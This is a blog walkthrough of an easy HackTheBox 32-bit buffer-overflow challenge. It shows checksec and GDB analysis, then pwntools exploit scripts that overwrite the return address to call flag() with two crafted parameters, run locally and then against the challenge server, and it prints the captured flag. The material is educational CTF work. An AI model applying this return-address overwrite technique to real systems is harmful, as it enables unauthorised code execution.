Dear readers,
Today’s post is on a Pwn challenge on HackTheBox. The challenge was released on 8th February 2020. It is a very easy 32-bit ROP challenge so let’s dive into it.

Files provide
There is only one file provided and the IP address of the server:
Vuln is a 32-bit Unix file hence make sure you have the correct system to run it. I used Kali Linux to run this file.
Software needed
- GDB (GNU/Linux debugger)
- Pwntools (Python3 library)
- Checksec
- Python3
- Ghidra (Or any other reverse engineering tool)
Outlook of the file given
When we first run the program, only a string is printed to us before we have to input content into the program.

Analysis
When I first opened up the file vuln on Ghidra and look through the code, I noticed that this is a buffer overflow (BOF) challenge. A char array is declared but there is no limit to the number of characters being read due to gets() (see Fig 5a).

Using checksec, we are able to see that the program does not have any stack cookies, allowing us to overwrite the return address. There is also no ASLR since PIE is not set, thus, we can overwrite a specific address into the RETURN address’s location.
> checksec --file=./vuln RELRO Partial RELRO STACK CANARY No canary found NX NX disabled PIE No PIE RPATH No RPATH
Printing lots of “A”s shows that it can be subjected to BOF.
> python3 -c "print('A'* 200)" | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA zsh: done python3 -c "print('A'* 200)" | zsh: segmentation fault ./vuln
If we launch GDB, we can use the “info file” command to see the entry point’s address. True enough, the entry point matches the address of start() (see Fig 5b and 5c red boxes).


Setting the breakpoint before and after gets(), we will be able to analyze the stack to ensure we only need 184 bytes (local_bc needs 180 bytes + 4 bytes of register EBP) to reach the location of the return (RET) address (see Fig 5d).

We can set the breakpoints as shown below before running the program again.
(gdb) b *0x08049291 Breakpoint 1 at 0x08049291 (gdb) b *0x08049296 Breakpoint 2 at 0x0804296 (gdb) r
When we analyze the stack using the command “x/60x $esp” we can see the return address of vuln() located at 0xffffd0cc on the stack (see the red box in Fig 5e). The return address can be proven by comparing it with the next instruction in main() after calling vuln() as shown in Fig 5f.


As we continue the program on GDB, I inputted 184 ‘A’s and see the content of the stack again. However, 4 more bytes of ‘A’s are required to reach right before the return address (see Fig 5g where blue box is the last 4 bytes of ‘A’s we overflowed and red box is the return address of vuln()). This is probably due to padding to ensure the stack of the program is aligned well to 16 bytes. This shows that we need 188 ‘A’s to reach the return address.

As I analyzed the functions of the program, I notice the flag() function which will help to print the flag to us (see Fig h).

This allows us to build our script to inject the exploit locally until the flag() function is called. Experiment with the endian format allows me to discover that the program stores/read content on the stack in the little-endian format. We can easily obtain the address of flag() using the symbols directory that gives us the address in an integer type. Pack it using p32() since we need a 32-bit address. Running the code below will print to us “Hurry up and try in on server side.”
from pwn import * context.update(arch="i386", os="linux") elf = ELF("./vuln") # offset to reach right before return address's location offset = b"A" * 188 # craft exploit: offset + flag() exploit = offset + p32(elf.symbols['flag'], endian="little") r = elf.process() r.sendlineafter(":", exploit) r.interactive()
To print the flag, two parameters are required. This can easily be seen on Ghidra’s assembly code where the hexadecimal are converted properly (see Fig 6i).

Remember that we are jumping to flag() using RET. This means flag() will think itself have a return address. Therefore, we should pad with any 4 bytes of content before we write the 2 parameters.
from pwn import * context.update(arch="i386", os="linux") elf = ELF("./vuln") # offset to reach right before return address's location offset = b"A" * 188 # craft exploit: offset + flag() + padding + parameter 1 + parameter 2 exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little") r = elf.process() r.sendlineafter(":", exploit) r.interactive()
Remember to create flag.txt and input some content in it for testing. The code above should cause the content you have entered in your file to be printed.
Lastly, we can change the connection to the actual server given to us instead of creating a process of the local vuln file.
from pwn import * context.update(arch="i386", os="linux") elf = ELF("./vuln") # offset to reach right before return address's location offset = b"A" * 188 # craft exploit: offset + flag() + padding + parameter 1 + parameter 2 exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little") r = remote("178.62.61.23", 32355) #r = elf.process() r.sendlineafter(":", exploit) r.interactive()
You may download the full source code here. You may also access the full folder here.
Flag obtained
Flag: HTB{0ur_Buff3r_1s_not_healthy}

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂